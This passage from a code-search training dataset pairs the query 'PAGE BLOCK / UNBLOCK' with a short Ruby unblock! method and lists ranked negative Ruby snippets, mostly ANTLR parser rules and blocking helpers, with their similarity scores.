)\n\n if ( look_2_0 == GENERAL || look_2_0 == GET || look_2_0 == ARROW || look_2_0 == IF || look_2_0 == REGEX || look_2_0 == INCR || look_2_0 == BREAK || look_2_0 == RETURN || look_2_0 == IS_DEFINED || look_2_0 == LBRACE || look_2_0 == LBRACK || look_2_0.between?( SEMI, CONST ) || look_2_0.between?( SET, LET ) || look_2_0 == DDOC || look_2_0.between?( DECR, LPAREN ) || look_2_0 == DELETE || look_2_0.between?( DGENERAL, DO ) || look_2_0 == THROW || look_2_0 == TILDE || look_2_0 == TRUE || look_2_0 == TRY || look_2_0.between?( TYPEOF, NEW ) || look_2_0.between?( EACH, UNDEFINED ) || look_2_0.between?( NULL, UNLESS ) || look_2_0 == UNTIL || look_2_0 == FALSE || look_2_0 == VAR || look_2_0.between?( VOID, FOR ) || look_2_0 == WHILE || look_2_0.between?( WITH, YIELD ) || look_2_0.between?( IS_UNDEFINED, DOC ) || look_2_0.between?( T__148, T__150 ) )\n alt_2 = 1\n\n end\n case alt_2\n when 1\n # at line 256:18: statement\n @state.following.push( TOKENS_FOLLOWING_statement_IN_source_elements_1785 )\n statement3 = statement\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, statement3.tree )\n end\n\n else\n break # out of loop for decision 2\n end\n end # loop for decision 2\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n end\n \n return return_value\n end", "def initialize(plan)\n @scope = :global\n\t @plan = plan\n\t super()\n\t @plan_predicates = Array.new\n\t @neg_plan_predicates = Array.new\n\tend", "def multiline_comment!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 50 )\n\n\n\n type = MULTILINE_COMMENT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 229:21: '/*' ( . )* '*/'\n match( \"/*\" )\n\n # at line 229:26: ( . )*\n while true # decision 7\n alt_7 = 2\n look_7_0 = @input.peek( 1 )\n\n if ( look_7_0 == 0x2a )\n look_7_1 = @input.peek( 2 )\n\n if ( look_7_1 == 0x2f )\n alt_7 = 2\n elsif ( look_7_1.between?( 0x0, 0x2e ) || look_7_1.between?( 0x30, 0xffff ) )\n alt_7 = 1\n\n end\n elsif ( look_7_0.between?( 0x0, 0x29 ) || look_7_0.between?( 0x2b, 0xffff ) )\n alt_7 = 1\n\n end\n case alt_7\n when 1\n # at line 229:26: .\n match_any\n\n else\n break # out of loop for decision 7\n end\n end # loop for decision 7\n\n\n match( \"*/\" )\n\n\n # --> action\n channel = HIDDEN;\n # <-- action\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 50 )\n\n\n end", "def lex_group start_state, regexp, action = nil\n rule = Rule.new(start_state, regexp, action)\n rule.group = group\n self.group << rule\n end", "def start_rule()\n return Markers::Reference.new( start_rule_name() )\n end", "def plan\n @lines.select! do |line|\n line.include?(\"No changes. Infrastructure\") ||\n line.include?(\"Changes to Outputs\") ||\n line.include?(\"Plan:\") ||\n line.include?(\"Changes to \") ||\n line.include?(\"Error: \") # error\n end\n end", "def comilla!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 16 )\n\n\n\n type = COMILLA\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 317:3: '\\\\''\n match( 0x27 )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 16 )\n\n\n end", "def compile\n lexer = Bolverk::ASM::Lexer.new(@stream)\n tokens = lexer.scan\n\n parser = Bolverk::ASM::Parser.new(tokens)\n parse_tree = parser.parse\n\n generator = Bolverk::ASM::Generator.new(parse_tree)\n source = generator.generate\n\n return source\n end", "def generate_from(grammar)\n puts \"Generating Java classes based on grammar file: #{grammar}\"\n\n # Note: javacc help states that args can be supplied using either of\n # 2 forms:\n # -OPTION=value\n # -OPTION:value\n #\n # So far, I get errors (and javacc doesn't recognize) options\n # passed with '='.\n #\n # Use form -OPTION: instead.\n options = []\n options << \"-STATIC:#{@static}\" unless @static.empty?\n options << \"-LOOKAHEAD:#{@look_ahead}\" unless @look_ahead.empty?\n options << \"-OUTPUT_DIRECTORY:#{@output_dir}\" unless @output_dir.empty?\n\n cmd_line = options.join(' ') + \" #{grammar}\"\n\n begin\n execute( cmd_line, false )\n rescue Exception => e\n puts \"!!! Errors occured during parsing of JavaCC grammar.\"\n puts e.message\n #exit\n end\n end", "def sub!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 40 )\n\n\n\n type = SUB\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 61:6: '-'\n match( 0x2d )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 40 )\n\n\n end", "def parse(source, options={})\n rule_name = options.delete(:root) || root\n raise Error, \"No root rule specified\" unless rule_name\n rule = rule(rule_name)\n raise Error, \"No rule named \\\"#{rule_name}\\\"\" unless rule\n rule.parse(source, options)\n end", "def parse\n IniParse::Generator.gen do |generator|\n @source.split(\"\\n\", -1).each do |line|\n generator.send(*Parser.parse_line(line))\n end\n end\n end", "def sl_comment!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 39)\n\n type = SL_COMMENT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 470:5: '//' ( ' $ANTLR ' SRC | (~ ( '\\\\r' | '\\\\n' ) )* ) ( '\\\\r' )? '\\\\n'\n match(\"//\")\n # at line 471:5: ( ' $ANTLR ' SRC | (~ ( '\\\\r' | '\\\\n' ) )* )\n alt_2 = 2\n alt_2 = @dfa2.predict(@input)\n case alt_2\n when 1\n # at line 471:7: ' $ANTLR ' SRC\n match(\" $ANTLR \")\n src!\n\n when 2\n # at line 472:6: (~ ( '\\\\r' | '\\\\n' ) )*\n # at line 472:6: (~ ( '\\\\r' | '\\\\n' ) )*\n loop do #loop 1\n alt_1 = 2\n look_1_0 = @input.peek(1)\n\n if (look_1_0.between?(0x0000, ?\\t) || look_1_0.between?(0x000B, ?\\f) || look_1_0.between?(0x000E, 0xFFFF)) \n alt_1 = 1\n\n end\n case alt_1\n when 1\n # at line 472:6: ~ ( '\\\\r' | '\\\\n' )\n if @input.peek(1).between?(0x0000, ?\\t) || @input.peek(1).between?(0x000B, ?\\f) || @input.peek(1).between?(0x000E, 0x00FF)\n @input.consume\n else\n mse = MismatchedSet(nil)\n recover(mse)\n raise mse\n end\n\n\n\n else\n break #loop 1\n end\n end\n\n end\n # at line 474:3: ( '\\\\r' )?\n alt_3 = 2\n look_3_0 = @input.peek(1)\n\n if (look_3_0 == ?\\r) \n alt_3 = 1\n end\n case alt_3\n when 1\n # at line 474:3: '\\\\r'\n match(?\\r)\n\n end\n match(?\\n)\n # --> action\n channel=HIDDEN;\n # <-- action\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 39)\n\n end", "def continue_statement\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 22 )\n return_value = ContinueStatementReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n string_literal93 = nil\n __ID94__ = nil\n\n tree_for_string_literal93 = nil\n tree_for_ID94 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 122:5: ^( 'continue' ( ID )? )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal93 = match( CONTINUE, TOKENS_FOLLOWING_CONTINUE_IN_continue_statement_685 )\n\n tree_for_string_literal93 = @adaptor.copy_node( string_literal93 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal93, root_1 )\n\n\n\n if @input.peek == DOWN\n match( DOWN, nil )\n # at line 122:19: ( ID )?\n alt_25 = 2\n look_25_0 = @input.peek( 1 )\n\n if ( look_25_0 == ID )\n alt_25 = 1\n end\n case alt_25\n when 1\n # at line 122:19: ID\n _last = @input.look\n __ID94__ = match( ID, TOKENS_FOLLOWING_ID_IN_continue_statement_687 )\n\n tree_for_ID94 = @adaptor.copy_node( __ID94__ )\n\n @adaptor.add_child( root_1, tree_for_ID94 )\n\n\n\n end\n\n match( UP, nil )\n end\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 22 )\n\n end\n \n return return_value\n end", "def initialize(rule)\n @rule = rule\n @start_time = nil\n @end_time = nil\n @run_time = nil\n @exception = nil\n @output = nil\n @ran = false\n end", "def t__12!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 3)\n\n type = T__12\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 18:9: ';'\n match(?;)\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 3)\n\n end", "def build(rule)\n Expr.build ArithmeticParser.new.parse(rule).to_sexp\n end", "def src!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 33 )\n\n type = SRC\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 363:6: 'src'\n match( \"src\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 33 )\n\n end" ]
[ "0.72693294", "0.57516396", "0.5487987", "0.5416214", "0.53655916", "0.53655916", "0.53655916", "0.53655916", "0.5356571", "0.52816594", "0.52816594", "0.52816594", "0.52816594", "0.526989", "0.52506024", "0.52485204", "0.5246364", "0.5225648", "0.5221498", "0.52035743", "0.5201173", "0.51813924", "0.5174302", "0.5171372", "0.515632", "0.515235", "0.514734", "0.51308167", "0.5105307", "0.51042646", "0.50983983", "0.5061901", "0.5058617", "0.50417286", "0.503366", "0.5030359", "0.5029778", "0.5021751", "0.5017578", "0.50156665", "0.50156665", "0.50136274", "0.49982035", "0.4987608", "0.49720687", "0.49718207", "0.49676868", "0.49497595", "0.4944936", "0.49340495", "0.49175018", "0.4902713", "0.48963746", "0.48894775", "0.48871386", "0.4886817", "0.4878427", "0.48700947", "0.4868206", "0.48660314", "0.48362002", "0.4834909", "0.48318112", "0.48222962", "0.4817755", "0.48155978", "0.4781582", "0.4781412", "0.4778456", "0.47776034", "0.47762772", "0.4764654", "0.47634915", "0.47483945", "0.47450134", "0.47404435", "0.47404435", "0.47404435", "0.47351182", "0.472579", "0.47253335", "0.47222838", "0.47203186", "0.4700514", "0.46994323", "0.46948594", "0.46947402", "0.46910518", "0.4690095", "0.46876687", "0.46860915", "0.4680259", "0.46788758", "0.46648988", "0.46629307", "0.4656461", "0.4654718", "0.4648084", "0.46471477", "0.4637766" ]
0.7557306
0
PAGE BLOCK / UNBLOCK
def unblock! BlockedObject.unblock_page!(self) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_block\n block = params[:block].to_s.underscore\n @user = User.current\n # remove block in all groups\n layout = @user.pref[:my_page_layout] || {}\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n redirect_to my_page_layout_path\n end", "def remove_block\n block = params[:block].to_s.underscore\n @user = User.current\n # remove block in all groups\n layout = @user.pref[:my_page_layout] || {}\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n redirect_to my_page_layout_path\n end", "def remove_block\n @user = User.current\n @user.pref.remove_block params[:block]\n @user.pref.save\n redirect_to my_page_layout_path\n end", "def unblock!\n self.blocked = nil\n self.save\n end", "def unprotected(&block)\n begin\n @unprotected = true\n block.call\n ensure\n @unprotected = false\n end\n end", "def block!(block)\n\t\t@grid[block.position.y][block.position.x] = 0\n\t\t@blocks.delete_if { |b| block == b }\n\tend", "def destroy\n @block.destroy\n\n head :no_content\n end", "def unblocked\n where blocked: false\n end", "def unblock!(handle, offset, length, &callback)\n wait_for(unblock(handle, offset, length, &callback))\n end", "def page_drop; end", "def unfreeze(&block); end", "def deblocked_content\n deblocked_content = []\n offset = 0\n block_number = 1\n self.status = :readable\n @good_blocks = 0\n link_number = 1\n llink_number = 1\n loop do \n # Process a link\n break if offset >= words.size\n bcw = words.at(offset)\n break if bcw.to_i == 0\n # debug \"link: offset: #{offset}(0#{'%o' % offset}): #{'%013o' % words.at(offset)}\"\n # debug \"preamble: offset: #{offset+1}(0#{'%o' % (offset+1)}): #{'%013o' % words.at(offset+1)}\"\n link_sequence_number = bcw.half_word[0].to_i\n raise BadBlockError, \"Link out of sequence at #{offset}(0#{'%o'%offset}): Found #{link_sequence_number}, expected #{link_number}. BCW #{'%013o' % bcw.to_i}\" \\\n unless link_sequence_number == link_number\n next_link = bcw.half_word[1].to_i + offset + 1\n # debug \"next link: #{'%013o' % next_link}\"\n preamble_length = words.at(offset+1).half_word[1].to_i\n offset += preamble_length\n loop do\n # debug \"llink: offset: #{offset}(0#{'%o' % offset}): #{'%013o' % words.at(offset)}\"\n break if offset >= words.size || offset >= next_link\n break if words.at(offset) == 0\n block_size = words.at(offset).byte(3)\n unless words.at(offset).half_word[0] == block_number\n # stop \"Bad block_number at #{'%013o' % (offset+content_offset)}: #{'%013o' % words.at(offset)}, block_number: #{block_number}\"\n if strict\n raise \"Llink out of sequence in #{location} at #{'%#o' % (offset+content_offset)}: expected #{'%07o' % block_number}; got #{file_content[offset].half_word[0]}\"\n else\n error \"Truncated before block #{block_number} at #{'%#o' % (offset+content_offset)}\"\n if block_number == 1\n self.status = :unreadable\n else\n self.status = :truncated\n end\n break\n end\n end\n deblocked_content += words[offset+1..(offset+block_size)].to_a\n offset += BLOCK_SIZE\n block_number += 1\n @good_blocks += 1\n end\n offset = next_link\n link_number += 1\n end\n @llink_count = link_number\n Bun::Words.new(deblocked_content)\n end", "def erase\n @pages.clear\n @page_counter = 0\n close\n end", "def without_locking(&block)\n self.class.without_locking(&block)\n end", "def reset\n\t\t@block_type = nil\n\tend", "def unbufferred(&block)\n bufferring = output.sync\n # Immediately flush output\n output.sync = true\n block[] if block_given?\n ensure\n output.sync = bufferring\n end", "def clean_block(block)\n # Return empty block if it is a list of links\n return \"\" if is_link_list?(block)\n\n # Return empty block if it is a very link heavy block\n count = 0\n no_links = block.gsub(/<a\\s[^>]*>.*?<\\/a\\s*>/im){count+=1;''}.gsub(/<form\\s[^>]*>.*?<\\/form\\s*>/im, '')\n return \"\" if no_links.length < 20 * count\n\n strip_tags(no_links)\n end", "def unblock\n current_user.unblock_user(@user.id)\n render json: {ok: 1}\n end", "def destroy_block(user)\n delete \"blocks/destroy/#{user}\"\n end", "def unblock_user(id)\n delete(\"UserBlock/#{id}\")\n end", "def unblock\n user = User.find(decode_jwt(cookies.signed[:jwt])[\"user_id\"])\n #we get friend_id from frontend\n if Block.where(blocker_id: user.id, blockee_id:follow_params[:user2]).empty?\n return render json: {error: \"No block found!\"}\n end\n\n Block.where(blocker_id: user.id, blockee_id:follow_params[:user2]).destroy_all\n # byebug\n return render json: {response: \"Friend unblocked\"}\n end", "def after_block_boundary?; end", "def clear_block(add = true)\n if add\n @block_num += 1\n \n @block_stats << { :name => block_name, :types => @block_types,\n :tokens => @block_tokens }\n @blocks << @block.dup\n end\n \n @block_counter = 0\n @block_types = 0\n @block_tokens = 0\n \n # Set up an empty block\n @block = {}\n @word_list.each do |w|\n @block[w] = 0\n end\n end", "def destroy\n if not signed_in?\n redirect_back_or signin_path\n end\n @home_page_block.destroy\n respond_to do |format|\n format.html { redirect_to home_page_blocks_url, notice: 'Блок успешно удален!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @block = Block.find(params[:id])\n @block.destroy\n redirect_to :back\n end", "def out_of_band(&block); end", "def blocks() end", "def reset\n @blocks = @original_blocks\n end", "def close_block\n push_silent \"end\"\n @template_tabs -= 1\n end", "def write_nonblock(p0) end", "def post_block\n end", "def post_block\n end", "def send_free_page\n send_free_message(\"page\")\n end", "def fragment_unset\n fragment_set nil\n end", "def unlock\n # fetching page via before filter\n @page.unlock\n flash[:notice] = _(\"unlocked_page_%{name}\") % {:name => @page.name}\n if params[:redirect_to].blank?\n redirect_to admin_pages_path\n else\n redirect_to(params[:redirect_to])\n end\n end", "def delete_blocked\n end", "def destroy\n @block = @site.blocks.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to(blocks_url) }\n format.xml { head :ok }\n end\n end", "def dealloc_page(page)\n unless page.swapped\n k = RKernel.instance.tlb.lookup(page)\n @lru.delete(k)\n @frame_table.delete k\n else\n RKernel.instance.swap.unstore page\n end\n end", "def down(&block)\n @down_block = block\n end", "def unblock_user\n SecurityService.unblock_user(params[:id])\n redirect_to '/users/', notice: \"Käyttäjän blokkaus poistettu. Hän voi taas luoda kursseja.\"\n end", "def visual_block_clear\n if @visual_block_start\n star = [@visual_block_start, @cursor].min\n fin = [@visual_block_start, @cursor].max\n remove_from_selection @view[star..fin]\n end\n @visual_block_start = nil\n @toggles[:visual_mode] = @visual_mode = false\n @mode = nil if @mode == 'VIS'\n # is this the right place to put this ??? 2019-04-16 -\n clean_selected_files\nend", "def blocklists; end", "def each_page(&block); end", "def process_blocks(blocks); end", "def not &blk\n @negative = !@negative\n if blk\n @block = blk\n execute_block\n end\n end", "def unblock(resource)\n @blockers[resource] ||= direct_dependencies_of(resource).select { |r2| !@done[r2] }.length\n if @blockers[resource] > 0\n @blockers[resource] -= 1\n else\n resource.warning _(\"appears to have a negative number of dependencies\")\n end\n @blockers[resource] <= 0\n end", "def unlock\n # fetching page via before filter\n @page.unlock!\n flash[:notice] = _t(:unlocked_page, :name => @page.name)\n @pages_locked_by_user = Page.from_current_site.all_locked_by(current_alchemy_user)\n respond_to do |format|\n format.js\n format.html {\n redirect_to params[:redirect_to].blank? ? admin_pages_path : params[:redirect_to]\n }\n end\n end", "def blocks; end", "def blocks; end", "def blocks; end", "def discard\n @args = nil\n @block = nil\n end", "def do_page_blocks(page)\n @on_every_page_blocks.each do |blk|\n blk.call(page)\n end\n \n @on_pages_like_blocks.each do |pattern, blks|\n if page.url.to_s =~ pattern\n blks.each { |blk| blk.call(page) }\n end\n end\n end", "def flush_block\n bf_compr = @compressor.compress(@buffer)\n writeloc(@file, bf_compr, @location)\n @block_ary[@cur_block] = @@block.new(@cur_block, @location, bf_compr.size)\n\n @buffer = '' \n @buflocation = 0\n @cur_block += 1 \n @location += bf_compr.size\n end", "def block!\n self.update_attribute(:status, BLOCKED)\n end", "def unblock( id, login=@login, password=@password, type='xml' )\n \n http = Net::HTTP.new('twitter.com', 80)\n data = http.start do |http_inst|\n path = \"/blocks/destroy/#{id}.#{type}\"\n req = Net::HTTP::Post.new(path)\n \n # we make an HTTP basic auth by passing the\n # username and password\n req.basic_auth login, password\n \n resp, data = http_inst.request(req)\n data\n end\n end", "def dissociate_page(page); end", "def unblock(blocker_blog, blockee_blog=nil, **options)\n validate_options([:blocked_tumblelog, :anonymous_only], options)\n options[:blocked_tumblelog] ||= blockee_blog\n delete(blog_path(blocker_blog, 'blocks'), options)\n end", "def destroy\n @userblock = Userblock.find(params[:id])\n @userblock.destroy\n\n respond_to do |format|\n format.html { redirect_to(userblocks_url) }\n format.xml { head :ok }\n end\n end", "def disable_content_blocks\n cannot :manage, ContentBlock\n end", "def suspend()\n #This is a stub, used for indexing\n end", "def clear_range(start_byte, end_byte)\n Azure::Blobs.clear_page_range(self, start_byte, end_byte)\n end", "def anonymous_blocklists; end", "def after_save\r\n self.blockable.touch if self.blockable_type == 'Page'\r\n end", "def without_revision(&block)\n self.class.without_revision(&block)\n end", "def before_block_boundary?; end", "def endPage()\n @device.endPage() ;\n end", "def reset!\n @blocks = []\n @single_block = []\n end", "def reset_page\n add_actions 'ResetPaging()'\n end", "def warden(&block); end", "def unlock!\n if update_columns(locked_at: nil, locked_by: nil)\n Page.current_preview = nil\n end\n end", "def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to(blocks_url) }\n format.xml { head :ok }\n end\n end", "def undisplay\n @queue << \"undisplay\"\n end", "def destroy\n @visit_block = VisitBlock.find(params[:id])\n @visit_block.destroy\n\n respond_to do |format|\n format.html { redirect_to visit_blocks_url }\n format.json { head :no_content }\n end\n end", "def free_bytes\n free * pagesize\n end", "def reset!\n @latest_block_number = nil\n end", "def do_page_blocks(page)\n @on_every_page_blocks.each do |block| \n instance_eval(block).call(page)\n end\n\n @on_pages_like_blocks.each do |pattern, blocks|\n blocks.each { |block| instance_eval(block).call(page) } if page.url.to_s =~ /#{pattern}/\n end\n end", "def uncached\n yield\n end", "def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to(blocks_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def unblock(me: nil)\n my_id = 't2_' + (me.is_a?(User) ? user.id : client.get('/api/v1/me').body[:id])\n # Talk about an unintuitive endpoint\n client.post('/api/unfriend', container: my_id, name: read_attribute(:name), type: 'enemy')\n end", "def unblock(me: nil)\n my_id = 't2_' + (me.is_a?(User) ? user.id : @client.get('/api/v1/me').body[:id])\n # Talk about an unintuitive endpoint\n @client.post('/api/unfriend', container: my_id, name: get_attribute(:name), type: 'enemy')\n end", "def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end", "def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @block.destroy\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :no_content }\n end\n end", "def do_page_blocks(page)\n @on_every_page_blocks.each do |block|\n block.call(page)\n end\n\n @on_pages_like_blocks.each do |pattern, blocks|\n blocks.each { |block| block.call(page) } if page.url.to_s =~ pattern\n end\n end", "def do_page_blocks(page)\n @on_every_page_blocks.each do |block|\n block.call(page)\n end\n\n @on_pages_like_blocks.each do |pattern, blocks|\n blocks.each { |block| block.call(page) } if page.url.to_s =~ pattern\n end\n end", "def MyBlockMethod()\n puts \"At the top of the method\"\n\tyield\n\tputs \"At the bottom of the method\"\nend", "def destroy\n @block = Block.find(params[:id])\n @block.destroy\n\n respond_to do |format|\n format.html { redirect_to blocks_url }\n format.json { head :no_content }\n end\n end", "def blocked\n @user = User.find(params[:id])\n @user.block!\n redirect_to dashboard_listing_path\n end", "def unblock_user\n current_user.unblock_user!(params[:user_id])\n redirect_to :back, notice: \"#{User.find(params[:user_id]).full_name(false)} has been successfully unblocked\"\n end", "def update_blocks!\n RevisionRegister.new(page, user: author, blocks_attributes: page.blocks_attributes).save!\n\n assign_blocks\n page.save!\n end", "def remove_for_block(block)\n tx_hashes = []\n\n block.tx.each{|tx|\n tx_hashes << tx.hash\n # remove any now conflicted txs from the memory pool --\n # these are txs which spend outputs spent by txs in this new block. why would this happen?\n # maybe a tx in the block wasn't relayed to us but an associated double-spend was.\n self.remove_conflicts(tx)\n }\n\n # TODO: should probably transfer timestamps and other information\n Toshi::Models::UnconfirmedTransaction.remove_for_block(tx_hashes)\n Toshi::Models::UnconfirmedRawTransaction.where(hsh: tx_hashes).delete\n\n # make sure the transactions are on the tip pool (if they previously existed.)\n Toshi::Models::Transaction.where(hsh: tx_hashes)\n .update(pool: Toshi::Models::Transaction::TIP_POOL)\n end", "def without_transaction\n n = Thread.current['open_transactions']\n Thread.current['open_transactions'] = 1\n yield\n Thread.current['open_transactions'] = n\n end", "def update\n authorize @page\n\n @blocks = {}\n\n # TODO: Clean this controller up and move methods to model\n # TODO: Handle block type deletion\n\n blocks_updated = false\n\n params[:page][:page_slots_attributes] && params[:page][:page_slots_attributes].each_pair do |index, blockable_params|\n block_type = blockable_params['blockable_type']\n block_constant = block_type.constantize\n block_fields = blockable_params['block_fields']\n position = blockable_params['position']\n blockable_id = params[:page][:page_slots_attributes][index][:blockable_id]\n\n next if block_fields.nil?\n\n if blockable_id.present?\n block = block_constant.find blockable_id\n existing_attributes = HashWithIndifferentAccess.new\n block.permitted_params.each { |a| existing_attributes[a] = block[a] }\n else\n block = block_type.constantize.new\n end\n\n block_attributes = block_fields.permit block.permitted_params\n\n # TODO: not sure if a more precise diff between hashes is necessary\n if block.new_record? || (existing_attributes.to_a - block_attributes.as_json.to_a).present?\n block.assign_attributes block_fields.permit(block.permitted_params)\n @blocks[position] = block\n blocks_updated = true\n end\n\n params[:page][:page_slots_attributes][index].delete :block_fields\n end\n\n # TODO: There's a bug where you can update a page a second time even if you didn't change any attributes\n if blocks_updated\n @page.updated_at = Time.now\n end\n\n respond_to do |format|\n if @page.update(page_params)\n save_blocks\n format.html { redirect_to edit_page_path(@page), notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end", "def do_page_blocks(page)\n @on_every_page_blocks.each do |block|\n instance_eval(block).call(page)\n end\n\n @on_pages_like_blocks.each do |pattern, blocks|\n blocks.each { |block| instance_eval(block).call(page) } if page.url.to_s =~ /#{pattern}/\n end\n end", "def cancel(block)\n wblock = @want_blocks_m.synchronize { @want_blocks.delete2 block }\n unless wblock.nil? || !wblock.requested?\n rt_debug \"#{self}: sending cancel for #{wblock}\"\n queue_message(:cancel, {:index => wblock.pindex, :begin => wblock.begin,\n :length => wblock.length})\n end\n get_want_blocks unless wblock.nil?\n end", "def free(off)\r\n Ragweed::Wrap32::virtual_free_ex(@h, off)\r\n end", "def delete_mark(block)\n if @marks[block]\n @marks[block].each { |line| line.remove }\n @marks.delete(block)\n end\n end", "def deblock(io)\n with_guarded_io_pos(io) do\n if @pre_deblock\n # does this serve any real purpose? other\n # than making me feel good and orthoginal\n io = @pre_deblock.call(io)\n end\n self.value = internal_deblock(io)\n if @post_deblock\n self.value = @post_deblock.call(self.value)\n end\n self.value || self.valid?\n end\n end", "def unpublished\n @pages = Page.unpublished\n respond_with(@pages)\n end", "def disable(&block)\n @disable_block = block\n end" ]
[ "0.68944937", "0.68944937", "0.6604916", "0.62867475", "0.6128054", "0.60872334", "0.59948605", "0.5919669", "0.5906602", "0.58931273", "0.5814955", "0.5722318", "0.5694024", "0.562722", "0.5619188", "0.5578735", "0.5554629", "0.5541825", "0.5530828", "0.55217445", "0.5509632", "0.54925025", "0.54741395", "0.54562", "0.54186237", "0.54169273", "0.53963006", "0.5396012", "0.53945327", "0.53760576", "0.5364109", "0.5364109", "0.53619254", "0.53561413", "0.53407586", "0.5314996", "0.53122425", "0.5303038", "0.5294139", "0.5261465", "0.52518076", "0.5214921", "0.5192269", "0.5189625", "0.51868826", "0.51848304", "0.518084", "0.5180514", "0.5180514", "0.5180514", "0.5180341", "0.51575714", "0.5156318", "0.5149132", "0.51454055", "0.5142603", "0.5132744", "0.5119538", "0.51124024", "0.5102888", "0.50987935", "0.50967014", "0.50922626", "0.50908303", "0.5085672", "0.5080801", "0.5079478", "0.50710106", "0.5061425", "0.5059265", "0.50578105", "0.50539577", "0.50505584", "0.5049599", "0.50373465", "0.5032364", "0.50226766", "0.5015157", "0.50098485", "0.5008229", "0.5001531", "0.49971375", "0.49971375", "0.49939463", "0.49939463", "0.49882272", "0.49866363", "0.49831322", "0.49820283", "0.49807587", "0.49769577", "0.4976215", "0.49734718", "0.4973279", "0.4970968", "0.4967338", "0.49672973", "0.49654636", "0.4962387", "0.4959051" ]
0.7843868
0
Use callbacks to share common setup or constraints between actions.
def find_doccredit @documentary_credit = DocumentaryCredit.find(params[:documentary_credit_id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| 